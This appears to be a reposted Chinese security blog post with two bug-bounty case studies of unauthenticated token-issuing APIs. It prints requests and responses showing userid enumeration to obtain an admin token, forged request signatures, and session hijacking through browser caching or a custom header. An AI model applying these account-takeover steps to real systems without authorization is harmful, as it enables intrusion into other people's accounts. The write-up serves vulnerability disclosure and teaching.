2026-08-12 04:37:44 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文通过两个SRC案例展示登录接口被WAF拦截时如何利用未授权获取token的接口绕过限制。案例一通过未授权接口获取用户token并利用浏览器缓存自动携带token访问系统后台实现越权登录。案例二通过破解签名校验获取admintoken并手动添加自定义请求头进入系统。核心结论是未授权token接口和签名校验薄弱导致严重越权漏洞建议加强接口权限控制和签名算法。 综合评分： 75 文章分类： 漏洞分析,web安全,实战经验,渗透测试

cover_image

【SRC案例分析-21】登录接口惨遭WAF拦截？获取token应该如何登录？

原创

low洞百出 low洞百出

low洞百出

2026年8月10日 16:10 湖南

在小说阅读器读本章

去阅读

免责声明：本公众号分享的日常渗透测试、网络安全及 SRC 漏洞挖掘相关文章，内容仅供学习交流与技术研究参考。严禁将文中技术、方法用于任何非法入侵、未授权测试、数据窃取等违法违规行为。若因擅自使用文章内容开展非法操作或传播文章，所引发的一切法律责任与经济损失，均由使用者自行承担，与本公众号及作者无关。如有内容侵权，请及时联系处理。

前言

其实在测试过程中，经常会碰到一个系统，明明是正常的登陆口却无法正常登陆的情况，有可能是登陆入口弃用，也可能是出于某种原因安全设备临时对登陆进行了拦截限制，本文章记录了关于登陆入口无法正常登陆的案例。

案例分享

案例一（浏览器保存token，实现自动”登录”）：

进入站点发现存在登录框，登录方式还是直接通过token登录

POST&nbsp;/api/login&nbsp;HTTP/1.1Host:&nbsp;target.comContent-Type:&nbsp;application/jsonUser-Agent:&nbsp;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{"token":"xxxxxxx"}

正常登录发现一直提示登录失败，抓包查看发现原来是登录接口直接被waf拦截了

离谱，正常登录也不让登？

通过js获取到了未授权接口api/GetTokenByUserId

只需传入userid即可未授权获取用户token

GET/api/GetTokenByUserId?userid=123&nbsp;HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64) AppleWebKit/537.36Accept: application/json

userid=123获取到token

又通过js去获取接口，调用查看账号信息的接口/api/GetUserInfo

GET&nbsp;/api/GetUserInfo HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64) AppleWebKit/537.36token:&nbsp;123xxxxxx

通过获取到的token调用接口，获取用户账号信息为test1测试账号

HTTP/1.1&nbsp;200&nbsp;OKContent-Type: application/json
{&nbsp; &nbsp; "code":&nbsp;0,&nbsp; &nbsp;&nbsp;"msg":&nbsp;"success",&nbsp; &nbsp;&nbsp;"data": {&nbsp; &nbsp; &nbsp; &nbsp; "userId":&nbsp;123,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"userName":&nbsp;"test1",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"role":&nbsp;"普通用户"&nbsp; &nbsp; }}

说明token没问题,确实有效

然而，当我想拿着这个Token去登录框里输入、试图进入后台时，WAF再一次无情地拦截了我的请求。

这就形成了一个死循环：我有钥匙（Token），但门把手（登录接口）被焊死（waf拦截）了，我进不去。

就在我一筹莫展、觉得这个漏洞无法直观体现危害时，一次无意间的操作拯救了我。我在浏览器地址栏手动输入了系统前端的路径/home，浏览器竟然直接加载出了登录后的主页面！

愣了两秒后，我瞬间反应了过来：浏览器是有记忆的！虽然刚才的登录请求被WAF拦了，但在调用/api/GetUserInfo接口获取信息时，浏览器已经自动将接口返回的Token存入了本地缓存。

当我再次访问系统路径时，自动去缓存里读取Token并塞进请求头发送，此时因为目标路径不是被拦截的登录接口，WAF压根就不会拦截，服务器校验Token有效，于是便顺理成章地”绕过”登录进入了系统。

但是一看当前账号为test1测试账号，没什么数据权限

GET&nbsp;/api/GetTokenByUserId?userid=100&nbsp;HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64) AppleWebKit/537.36Accept: application/json

继续遍历userid，通过获取token接口获取出一个admin账号token

HTTP/1.1&nbsp;200&nbsp;OKContent-Type: application/json
{&nbsp; &nbsp; "code":&nbsp;0,&nbsp; &nbsp;&nbsp;"msg":&nbsp;"success",&nbsp; &nbsp;&nbsp;"data": {&nbsp; &nbsp; &nbsp; &nbsp; "userId":&nbsp;100,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"userName":&nbsp;"admin",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"role":&nbsp;"管理员用户"&nbsp; &nbsp; }}

通过调用查看账号信息接口，确认为admin超级管理员账号，继续通过将token存入浏览器方式，”绕过”登录直接接管了admin账号。

案例二(获取token后手动添加请求头进入系统)：

进入站点发现需要账号密码登录

也是通过js，发现了可未授权获取用户登录token接口/api/getTokenByNameAndSign

一看接口就能猜到只需要name与sign参数即可获取token

GET&nbsp;/api/getTokenByNameAndSign?name=admin&sign=123456&nbsp;HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64) AppleWebKit/537.36Accept: application/json

直接调用接口发现提示签名错误

HTTP/1.1&nbsp;200&nbsp;OKContent-Type: application/json
{&nbsp; &nbsp; "code":&nbsp;1001,&nbsp; &nbsp;&nbsp;"msg":&nbsp;"签名校验失败，请检查请求参数",&nbsp; &nbsp;&nbsp;"data": null}

好家伙，校验了sign签名

简单来说，请求加 sign（签名）的核心作用是：确保请求的“真实性”和“完整性”，防止数据在传输过程中被恶意篡改或伪造

碰到sign其实无非就是破解sign，而现在随着AI的发展，AI对js逆向以及sign破解可以说是一把好手，直接将js丢给AI，AI一下子就给你分析出结果了，然后再写个python脚本进行自动化破解，简直就是降维打击，不得不说AI还是太强大了。

很明显我们需要修改的参数是name，想要对name进行测试

只需要生成name值对应的sign即可

直接运行脚本，输入需要测试的name值，直接就可以自动生成对应正确的sign值进行测试

测试发现name=admin&sgin=xxx即可成功调用接口获取登陆成功的token

HTTP/1.1&nbsp;200&nbsp;OKContent-Type: application/json
{&nbsp; &nbsp; "code":&nbsp;0,&nbsp; &nbsp;&nbsp;"msg":&nbsp;"登录成功",&nbsp; &nbsp;&nbsp;"data": {&nbsp; &nbsp; &nbsp; &nbsp; "userName":&nbsp;"admin",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"token":&nbsp;"xxxxxx"&nbsp; &nbsp; }}

拿到Token后，我本想像案例一那样直接访问系统，结果发现又碰壁了。检查请求头发现，这个系统的认证方式不走寻常路，它不用常规的Authorization、token或Cookie，而是用一个自定义的请求头：tokenid: xxx

直接通过浏览器修改请求头插件，配置添加请求头内容以及需要修改请求头的域名规则，这样浏览器访问相关域名都会自动带上一个tokenid: xxx的请求头了

设置完毕，再刷新浏览器主页。由于请求头里已经自带合法的tokenid，服务端验证通过，页面一跃而入，再次以超级管理员的身份拿下了整个系统后台。

总结

其实就是两个可以未授权获取用户token的简单案例，虽然也是可以通过token调用接口的方式来证明漏洞存在，但是无法直接登陆系统总感觉差点意思，特别是在证明漏洞危害的过程中，是否能直观地表现出漏洞危害至关重要。

感谢关注，出货不迷路！

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：low洞百出 low洞百出 low洞百出《【SRC案例分析-21】登录接口惨遭WAF拦截？获取token应该如何登录？》